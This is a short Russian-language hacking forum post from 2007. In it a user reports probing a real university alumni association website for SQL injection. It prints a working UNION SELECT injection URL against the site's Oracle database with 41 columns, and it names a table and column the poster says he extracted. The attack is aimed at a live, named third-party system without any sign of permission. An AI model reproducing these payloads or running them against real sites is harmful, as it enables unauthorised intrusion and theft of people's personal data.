SQL Инъекции

Выпускники!

#11

19.05.2007, 04:08

[53x]Shadow

Leaders of Antichat

Регистрация: 25.01.2007

Сообщений: 341

С нами: 10153766

Репутация: 2565

Выпускники!

Продолжаем тему выпускников.
В этот раз Ассоциация выпускников ТПУ(Томск).
alumni.tpu.ru

Первый раз сталкиваюсь с БД ORACLE в таких проектах

Короче смог подобрать количество столбцов = 41

Код:

http://alumni.tpu.ru/showitem.php?id=688'+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+sys.dual--

А так же удалось вытащить имя одной таблицы VIPUSKNIKI и одного столбца в ней USER

Код:

http://alumni.tpu.ru/showitem.php?id=-12

Но на этом все

, то ли отображаемых столбцов нет, толи потому что оракул у мя в первый раз короче дальше хз...

Млин да и вообще уже скули снится стали, пора завязывать